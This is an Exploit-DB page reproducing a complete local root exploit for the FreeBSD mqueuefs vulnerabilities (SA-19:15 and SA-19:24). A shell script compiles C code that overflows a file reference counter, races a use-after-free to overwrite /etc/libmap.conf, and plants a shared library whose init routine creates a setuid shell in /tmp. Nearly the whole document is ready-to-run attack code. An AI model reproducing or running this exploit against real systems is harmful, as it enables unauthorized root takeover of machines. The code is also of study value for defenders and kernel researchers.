FreeBSD-SA-19:15.mqueuefs – Privilege Escalation

  • 作者: Karsten König
    日期: 2019-12-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47830/
  • # Exploit: FreeBSD-SA-19:15.mqueuefs - Privilege Escalation
    # Author: Karsten König of Secfault Security
    # Date: 2019-12-30
    # Change line 719 to choose which vulnerability
    # is targeted
    #
    # libmap.conf primitive inspired by kcope's 2005 exploit for Qpopper
    # Exploit for FreeBSD-SA-19:15.mqueuefs and
    # FreeBSD-SA-19:24.mqueu
    #!/bin/sh
    
    echo "[+] Root Exploit for FreeBSD mqueuefs vulnerabilities"
    
    umask 0000
    
    # libmap.conf has to exist because it is
    # the attacked file
    if [ ! -f /etc/libmap.conf ]; then
    echo "[!] libmap.conf has to exist"
    exit
    fi
    
    # Make a backup of the current libmap.conf
    # because it has to be reconstructed afterwards
    cp /etc/libmap.conf ./
    
    # Write the exploit to a C file
    cat > exploit.c << EOF
    #include <errno.h>
    #include <fcntl.h>
    #include <pthread.h>
    #include <pthread_np.h>
    #include <signal.h>
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/cpuset.h>
    #include <sys/event.h>
    #include <sys/ioctl.h>
    #include <sys/param.h>
    #include <sys/socket.h>
    #include <sys/stat.h>
    #include <sys/syscall.h>
    #include <sys/sysctl.h>
    #include <sys/_types.h>
    #include <sys/types.h>
    #include <sys/un.h>
    
    #define N_OPEN 0x2
    
    // Tweak NUM_THREADS and NUM_FORKS if
    // more RAM is available on the target
    //
    // These parameters were tested with
    // up to 16 GB of RAM on a dual-core
    // Intel based system
    #define N 1000000
    #define NUM_THREADS 600
    #define NUM_FORKS 3
    #define FILE_SIZE 1024
    #define CHUNK_SIZE 1
    #define N_FILES 25
    
    // These are temporary files
    // which are created during
    // exploitation
    #define SERVER_PATH "/tmp/sync_forks"
    #define DEFAULT_PATH "/tmp/pwn"
    #define HAMMER_PATH "/tmp/pwn2"
    
    // This is the attacked file
    #define ATTACK_PATH "/etc/libmap.conf"
    
    // These are parameters from the attack script
    #define HOOK_LIB "libutil.so.9"
    #define ATTACK_LIB "/tmp/libno_ex.so.1.0"
    
    // The exploit will stick some threads
    // to specific cores
    #define CORE_0 0
    #define CORE_1 1
    
    // Syscalls from mqueuefs
    #define KMQ_OPEN 457
    #define KMQ_TIMEDSEND 460
    
    // Taken from sys/mqueue.h
    struct mq_attr {
    longmq_flags;
    longmq_maxmsg;
    longmq_msgsize;
    longmq_curmsgs;
    long__reserved[4];
    };
    
    struct thread_data {
    int fd;
    int fd2;
    };
    
    pthread_mutex_t write_mtx, trigger_mtx, count_mtx, hammer_mtx;
    pthread_cond_t write_cond, trigger_cond, count_cond, hammer_cond;
    
    // Both syscalls are indirectly called to be less reliable on
    // installed libraries
    int mq_open(const char *name, int oflag, mode_t mode,
    const struct mq_attr *attr)
    {
    int fd;
    fd = syscall(KMQ_OPEN, name, oflag, mode, attr);
    return fd;
    }
    
    void mq_timedsend(int fd, char *buf, size_t len,
    		 unsigned prio, const struct timespec *timeout)
    {
    syscall(KMQ_TIMEDSEND, fd, buf, len, prio, timeout);
    }
    
    // Convenience function to open temporary files
    int open_tmp(char *path)
    {
    int fd;
    char *real_path;
    
    if (path != NULL) {
    	real_path = malloc(strlen(path) + 1);
    	strcpy(real_path, path);
    }
    else {
    	real_path = malloc(strlen(DEFAULT_PATH) + 1);
    	strcpy(real_path, DEFAULT_PATH);
    }
    
    if ((fd = open(real_path, O_RDWR | O_CREAT, S_IRWXU)) == -1) {
    	perror("[!] open");
    }
    
    return fd;
    }
    
    // Convenience function to prepare a UNIX domain socket
    void prepare_domain_socket(struct sockaddr_un *remote, char *path) {
    bzero(remote, sizeof(struct sockaddr_un));
    remote->sun_family = AF_UNIX;
    strncpy(remote->sun_path, path, sizeof(remote->sun_path));
    }
    
    // Convenience function to bind a UNIX domain socket
    int bind_domain_socket(struct sockaddr_un *remote) {
    int server_socket;
    
    if ((server_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) {
    	perror("[!] socket");
    	exit(1);
    }
    
    if (bind(server_socket, 
    	 (struct sockaddr *) remote, 
    	 sizeof(struct sockaddr_un)) != 0) {
    	perror("[!] bind");
    	exit(1);
    }
    
    return server_socket;
    }
    
    // Convenience function to connect to a UNIX domain socket
    int connect_domain_socket_client() {
    int client_socket;
    
    if ((client_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) {
    	perror("[!] socket");
    	exit(1);
    }
    
    return client_socket;
    }
    
    // Prevent panic at termination because f_count of the
    // corrupted struct file is 0 at the moment this function
    // is called but open file descriptors still points to the struct,
    // hence fdrop() is called at exit of the program and will raise a
    // kernel panic because f_count will be below 0
    //
    // So we just use our known primitive to increase f_count
    void prevent_panic(int fd)
    {
    mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);
    mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);
    mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);
    }
    
    // Convenience function to stick a thread to a CPU core
    int stick_thread_to_core(int core) {
    cpuset_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(core, &cpuset);
    
    pthread_t current_thread = pthread_self();
    return pthread_setaffinity_np(current_thread, sizeof(cpuset_t), &cpuset);
    }
    
    // This function will trigger the use-after-free
    void *trigger_uaf(void *thread_args) {
    struct thread_data *thread_data;
    int fd, fd2;
    
    if (stick_thread_to_core(CORE_0) != 0) {
    	perror("[!] [!] trigger_uaf: Could not stick thread to core");
    }
    
    thread_data = (struct thread_data *)thread_args;
    fd = thread_data->fd;
    fd2 = thread_data->fd2;
    
    printf("[+] trigger_uaf: fd: %d\n", fd);
    printf("[+] trigger_uaf: fd2: %d\n", fd2);
    
    // The thread has to wait for the preparation of the
    // race condition
    printf("[+] trigger_uaf: Waiting for start signal from monitor\n");
    pthread_mutex_lock(&trigger_mtx);
    pthread_cond_wait(&trigger_cond, &trigger_mtx);
    
    // This sleep parameter helps to render
    // the exploit more reliable
    //
    // Tweeking may be needed for the target system
    usleep(40);
    
    // Close two fds to trigger UaF
    //
    // This assumes that fget_write() in kern_writev()
    // was already successful!
    //
    // Otherwise kernel panic is triggered
    //
    // f_count = 2 (primitive+fget_write)
    close(fd);
    close(fd2);
    // f_count = 0 => free
    fd = open(ATTACK_PATH, O_RDONLY);
    // refcount = 1
    // all fds do now point to the attacked path
    
    printf("[+] trigger_uaf: Opened read-only file\n");	
    printf("[+] trigger_uaf: Exit\n");
    
    pthread_exit(NULL);
    }
    
    // This function will write to many invalid file streams
    //
    // This will eventually increase the number of dirty buffers
    // in the kernel and creates an exploitable race condition
    // for the Use-after-Free
    void *hammer(void *arg) {
    int i, j, k, client_socket;
    char buf[FILE_SIZE], sync_buf[3];
    FILE *fd[N_FILES];
    struct sockaddr_un remote;
    
    prepare_domain_socket(&remote, SERVER_PATH);
    client_socket = connect_domain_socket_client();
    strncpy(sync_buf, "1\n", 3);
    
    // Open many files and unlink them directly
    // to render the file stream invalid
    for (i = 0; i < N_FILES; i++) {
    	unlink(HAMMER_PATH);
    	if ((fd[i] = fopen(HAMMER_PATH, "w+")) == NULL) {
    	perror("[!] fopen");
    	exit(1);
    	}
    }
    
    for (i = 0; i < FILE_SIZE; i++) {
    	buf[i] = 'a';
    }
    
    pthread_mutex_lock(&hammer_mtx);
    
    // Signal that the thread is prepared
    // 
    // Sometimes sendto() fails because
    // no free buffer is available
    for (;;) {
    	if (sendto(client_socket,
    		 sync_buf,
    		 strlen(sync_buf), 0,
    		 (struct sockaddr *) &remote,
    		 sizeof(remote)) != -1) {
    	break;
    	}
    }
    
    // Wait for the other hammer threads
    pthread_cond_wait(&hammer_cond, &hammer_mtx);
    pthread_mutex_unlock(&hammer_mtx);
    
    // Write to the file streams to create many dirty buffers
    for (i = 0; i < N; i++) {
    	for (k = 0; k < N_FILES; k++) {
    	rewind(fd[k]); 
    	}
    	for (j = 0; j < FILE_SIZE*FILE_SIZE; j += CHUNK_SIZE) {
    	for (k = 0; k < N_FILES; k++) {
    		if (fwrite(&buf[j % FILE_SIZE], sizeof(char), CHUNK_SIZE, fd[k]) < 0) {
    		perror("[!] fwrite");
    		exit(1);
    		}
    	}
    	fflush(NULL);
    	}
    }
    
    pthread_exit(NULL);
    }
    
    // This function monitors the number of
    // dirty buffers.
    //
    // If enough dirty buffers do exist, a
    // signal to the write and Use-after-Free
    // trigger thread is signalled to
    // execute the actual attack
    //
    // Works on UFS only
    void *monitor_dirty_buffers(void *arg) {
    int hidirtybuffers, numdirtybuffers;
    size_t len;
    
    len = sizeof(int);
    
    if (sysctlbyname("vfs.hidirtybuffers", &hidirtybuffers, &len, NULL, 0) != 0) {
    	perror("[!] sysctlbyname hidirtybuffers");
    	exit(1);
    };
    printf("[+] monitor: vfs.hidirtybuffers: %d\n", hidirtybuffers);
    
    while(1) {
    	sysctlbyname("vfs.numdirtybuffers", &numdirtybuffers, &len, NULL, 0);
    	if (numdirtybuffers >= hidirtybuffers) {
    	pthread_cond_signal(&write_cond);
    	pthread_cond_signal(&trigger_cond);		
    	printf("[+] monitor: Reached hidirtybuffers watermark\n");
    	break;
    	}
    }
    
    pthread_exit(NULL);
    }
    
    // Check if the write to the attacked
    // path was successful
    int check_write(int fd) {
    char buf[256];
    int nbytes;
    struct stat st;
    
    printf("[+] check_write\n");
    stat(DEFAULT_PATH, &st);
    printf("[+] %s size: %lld\n", DEFAULT_PATH, st.st_size);
    
    stat(ATTACK_PATH, &st);
    printf("[+] %s size: %lld\n", ATTACK_PATH, st.st_size);
    
    nbytes = read(fd, buf, strlen(HOOK_LIB));
    printf("[+] Read bytes: %d\n", nbytes);
    if (nbytes > 0 && strncmp(buf, HOOK_LIB, strlen(HOOK_LIB)) == 0) {
    	return 1;
    }
    else if (nbytes < 0) {
    	perror("[!] check_write:read");
    	printf("[!] check_write:Cannot check if it worked!");
    	return 1;
    }
    
    return 0;
    }
    
    // This function will execute the write operation
    // to the attacked path
    void *write_to_file(void *thread_args) {
    int fd, fd2, nbytes;
    int *fd_ptr;
    char buf[256];
    struct thread_data *thread_data;
    struct mq_attr attrs;
    
    if (stick_thread_to_core(CORE_1) != 0) {
    	perror("[!] write_to_file: Could not stick thread to core");
    }
    
    fd_ptr = malloc(sizeof(int));
    
    attrs.mq_maxmsg = 10;
    attrs.mq_msgsize = sizeof(int);
    
    thread_data = (struct thread_data *)thread_args;
    fd = thread_data->fd;
    fd2 = open(ATTACK_PATH, O_RDONLY);
    
    // Wait for the signal to execute the write operation
    printf("[+] write_to_file: Wait for signal from monitor\n");	
    pthread_mutex_lock(&write_mtx);
    pthread_cond_wait(&write_cond, &write_mtx);
    
    // Write to the temporary file
    //
    // During the write operation the exploit will trigger
    // the Use-after-Free and exchange the written file
    // with the attacked file to render a write to it
    snprintf(buf, 256, "%s %s\n#", HOOK_LIB, ATTACK_LIB);
    nbytes = write(fd, buf, strlen(buf));
    
    // Reopen directly after write to prevent panic later
    //
    // After the write f_count == 0 because after trigger_uaf()
    // opened the read-only file, f_count == 1 and write()
    // calls fdrop() at the end
    //
    // => f_count == 0
    //
    // A direct open hopefully assigns the now again free file
    // object to fd so that we can prevent the panic with our
    // increment primitive.
    *fd_ptr = mq_open("/pwn_mq", O_RDWR | O_CREAT, 0666, &attrs);
    if (*fd_ptr == -1)
    	perror("[!] write_to_file: mq_open");
    
    if (nbytes < 0) {
    	perror("[!] write_to_file: write");
    } else if (nbytes > 0) {
    	printf("[+] write_to_file: We have written something...\n");
    	if (check_write(fd2) > 0)
    	printf("[+] write_to_file: It (probably) worked!\n");
    	else
    	printf("[!] write_to_file: It worked not :(\n");
    }
    
    printf("[+] write_to_file: Exit\n");
    pthread_exit(fd_ptr);
    }
    
    // This function prepares the Use-after-Free due to
    // a reference counter overflow
    void prepare(int fds[3]) {
    int fd, fd2, fd3, trigger_fd;
    u_int32_t i;
    struct mq_attr attrs;
    attrs.mq_maxmsg = 10;
    attrs.mq_msgsize = sizeof(int);
    
    printf("[+] Start UaF preparation\n");
    printf("[+] This can take a while\n");
    
    // Open a mqueue file
    fd = mq_open("/pwn_mq", O_RDWR | O_CREAT, 0666, &attrs);
    if (fd == -1) {
    	perror("open");
    	exit(1);
    }
    
    // fp->f_count will be incremented by 1 per iteration due
    // to the bug in freebsd32_kmq_timedsend()
    //
    // That is, 0xfffffffe iterations will increment it to
    // 0xffffffff (f_count starts with 1 because of mq_open())
    //
    // The bug is triggered because freebsd_kqm_timedsend will eventually
    // try to call copyin() with the pointer to address 0x1 which
    // is invalid
    for (i = 0; i < 0xfffffffe; i++) {
    	// just a progress message, nothing special about the magic values
    	if (i % 0x19999990 == 0)
    	printf("[+] Progress: %d%%\n", (u_int32_t) (i / 0x28f5c28));
    	mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);
    }
    
    // Every dup() increases fp->f_count by 1
    //
    // Using dup() works because FreeBSD's mqueue implementation
    // is implemented by using file objects (struct file) internally.
    //
    // This circumvents an infinite loop in fget_unlocked() as dup()
    // does not use _fget() but fhold() to increase the counter.
    fd2 = dup(fd);
    if (fd2 == -1) {
    	perror("dup");
    	exit(1);
    }
    fd3 = dup(fd);
    if (fd3 == -1) {
    	perror("dup");
    	exit(1);
    }
    
    // Close the mqueue file to trigger a free operation
    //
    // The descriptors fd2 and fd3 will still point
    // to the freed object
    //
    // Opening another file will render these descriptors
    // to point the newly opened file
    close(fd);
    trigger_fd = open_tmp(NULL);
    
    fds[0] = trigger_fd;
    fds[1] = fd2;
    fds[2] = fd3;
    
    printf("[+] Finished UaF preparation\n");
    }
    
    // This function will monitor that all
    // hammer threads are opened
    void read_thread_status(int server_socket) {
    int bytes_rec, count;
    struct sockaddr_un client;
    socklen_t len;
    char buf[256];
    struct timeval tv;
    
    tv.tv_sec = 10;
    tv.tv_usec = 0;
    setsockopt(server_socket,
    	 SOL_SOCKET, SO_RCVTIMEO,
    	 (const char*)&tv, sizeof tv);
    
    for (count = 0; count < NUM_FORKS*NUM_THREADS; count++) {
    	if (count % 100 == 0) {
    	printf("[+] Hammer threads ready: %d\n", count);
    	}
    	bzero(&client, sizeof(struct sockaddr_un));
    	bzero(buf, 256);
    	
    	len = sizeof(struct sockaddr_un);
    	if ((bytes_rec = recvfrom(server_socket,
    				buf, 256, 0,
    				(struct sockaddr *) &client,
    				&len)) == -1) {
    	perror("[!] recvfrom");
    	break;
    	}
    }
    
    if (count != NUM_FORKS * NUM_THREADS) {
    	printf("[!] Could not create all hammer threads, will try though!\n");
    }
    }
    
    // This function will execute the whole exploit
    void fire() {
    int i, j, fd, fd2, fd3, bytes_rec, server_socket;
    int sv[2], fds[3], hammer_socket[NUM_FORKS];
    int *fd_ptr;
    char socket_path[256], sync_buf[3], buf[256];
    pthread_t write_thread, trigger_thread, monitor_thread;
    pthread_t hammer_threads[NUM_THREADS];
    pid_t pids[NUM_FORKS];
    socklen_t len;
    struct thread_data thread_data;
    struct sockaddr_un server, client;
    struct sockaddr_un hammer_socket_addr[NUM_FORKS];
    
    // Socket for receiving thread status
    unlink(SERVER_PATH);
    prepare_domain_socket(&server, SERVER_PATH);
    server_socket = bind_domain_socket(&server);
    
    // Sockets to receive hammer signal
    for (i = 0; i < NUM_FORKS; i++) {
    	snprintf(socket_path, sizeof(socket_path), "%s%c", SERVER_PATH, '1'+i);
    	unlink(socket_path);
    	prepare_domain_socket(&hammer_socket_addr[i], socket_path);
    	hammer_socket[i] = bind_domain_socket(&hammer_socket_addr[i]);
    }
    
    strncpy(sync_buf, "1\n", 3);
    len = sizeof(struct sockaddr_un);
    
    if (socketpair(PF_UNIX, SOCK_STREAM, 0, sv) == -1) {
    	perror("[!] socketpair");
    	exit(1);
    }
    
    pthread_mutex_init(&write_mtx, NULL);
    pthread_mutex_init(&trigger_mtx, NULL);
    pthread_cond_init(&write_cond, NULL);
    pthread_cond_init(&trigger_cond, NULL);
    
    // Create the thread to monitor the number of
    // dirty buffers directly in the beginning
    // to be ready when needed
    pthread_create(&monitor_thread, NULL, monitor_dirty_buffers, NULL);
    
    // Prepare the UaF using the 0day
    prepare(fds);
    fd = fds[0];
    fd2 = fds[1];
    fd3 = fds[2];
    
    // Create the threads which will execute the exploit
    thread_data.fd = fd;
    thread_data.fd2 = fd2;
    pthread_create(&trigger_thread, NULL, trigger_uaf, (void *) &thread_data);
    pthread_create(&write_thread, NULL, write_to_file, (void *) &thread_data);
    
    for (j = 0; j < NUM_FORKS; j++) {
    	if ((pids[j] = fork()) < 0) {
    	perror("[!] fork");
    	abort();
    	}
    	else if (pids[j] == 0) {
    	// Close the file descriptors
    	// becasue each fork will have an own reference
    	// to the file object, thus increasing the
    	// reference counter
    	close(fd);	
    	close(fd2);
    	close(fd3);
    	pthread_mutex_init(&hammer_mtx, NULL);
    	pthread_cond_init(&hammer_cond, NULL);
    
    	// Create the hammer threads
    	for (i = 0; i < NUM_THREADS; i++) {
    		pthread_create(&hammer_threads[i], NULL, hammer, NULL);
    	}
    
    	printf("[+] Fork %d created all threads\n", j);
    
    	// Wait for the signal to start hammering from the parent
    	if ((bytes_rec = recvfrom(hammer_socket[j],
    				buf, 256, 0,
    				(struct sockaddr *) &client,
    				&len)) == -1) {
    		perror("[!] accept");
    		abort();
    	}
    
    	// Broadcast to the hammer threads to
    	// start hammering
    	pthread_cond_broadcast(&hammer_cond);
    
    	// Wait for the hammer threads
    	for (i = 0; i < NUM_THREADS; i++) {
    		pthread_join(hammer_threads[i], NULL);
    	}
    
    	pthread_cond_destroy(&hammer_cond);
    	pthread_mutex_destroy(&hammer_mtx);
    
    	exit(0);
    	} else {
    	printf("[+] Created child with PID %d\n", pids[j]);	
    	}
    }
    
    // Wait for the preparation of all hammer threads
    // in the forks.
    //
    // If all are prepared, send a signal to the childs
    // to start the hammering process to create dirty
    // buffers.
    read_thread_status(server_socket);
    printf("[+] Send signal to Start Hammering\n");
    for (i = 0; i < NUM_FORKS; i++) {
    	if (sendto(hammer_socket[i],
    		 sync_buf,
    		 strlen(sync_buf), 0,
    		 (struct sockaddr *) &hammer_socket_addr[i],
    		 sizeof(hammer_socket_addr[0])) == -1) {
    	perror("[!] sendto");
    	exit(1);
    	}
    }
    
    // Wait for all threads to finish
    pthread_join(monitor_thread, NULL);
    for (i = 0; i < NUM_FORKS; i++) {
    	kill(pids[i], SIGKILL);
    	printf("[+] Killed %d\n", pids[i]);
    }
    
    pthread_join(write_thread, (void **) &fd_ptr);
    pthread_join(trigger_thread, NULL);
    
    pthread_mutex_destroy(&write_mtx);
    pthread_mutex_destroy(&trigger_mtx);
    pthread_cond_destroy(&write_cond);
    pthread_cond_destroy(&trigger_cond);
    
    // Prevent a kernel panic
    prevent_panic(*fd_ptr);
    
    // fd was acquired from write_to_file
    // which allocs a pointer for it
    free(fd_ptr);
    }
    
    int main(int argc, char **argv)
    {
    setbuf(stdout, NULL);
    
    fire();
    
    return 0;
    }
    
    EOF
    
    # Compile with -m32 to exploit FreeBSD-SA-19:24.mqueuefs
    cc -o exploit -lpthread exploit.c
    # cc -o exploit -m32 -lpthread exploit.c
    
    cat > program.c << EOF
    #include <unistd.h>
    #include <stdio.h>
    #include <sys/types.h>
    #include <stdlib.h>
    
    void _init()
    {
    if (!geteuid())
    execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL);
    }
    
    EOF
    
    # Compile the shared library object
    cc -o program.o -c program.c -fPIC
    cc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
    cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
    
    # Start the exploit
    #
    # su will execute the shared library object
    # that creates the shell binary copy
    echo "[+] Firing the Exploit"
    ./exploit
    su
    
    # Ensure that everything has worked
    # and execute the root-shell
    if [ -f /tmp/xxxx ]; then
    echo "[+] Enjoy!"
    echo "[+] Do not forget to copy ./libmap.conf back to /etc/libmap.conf"
    /tmp/xxxx
    else
    echo "[!] FAIL"
    fi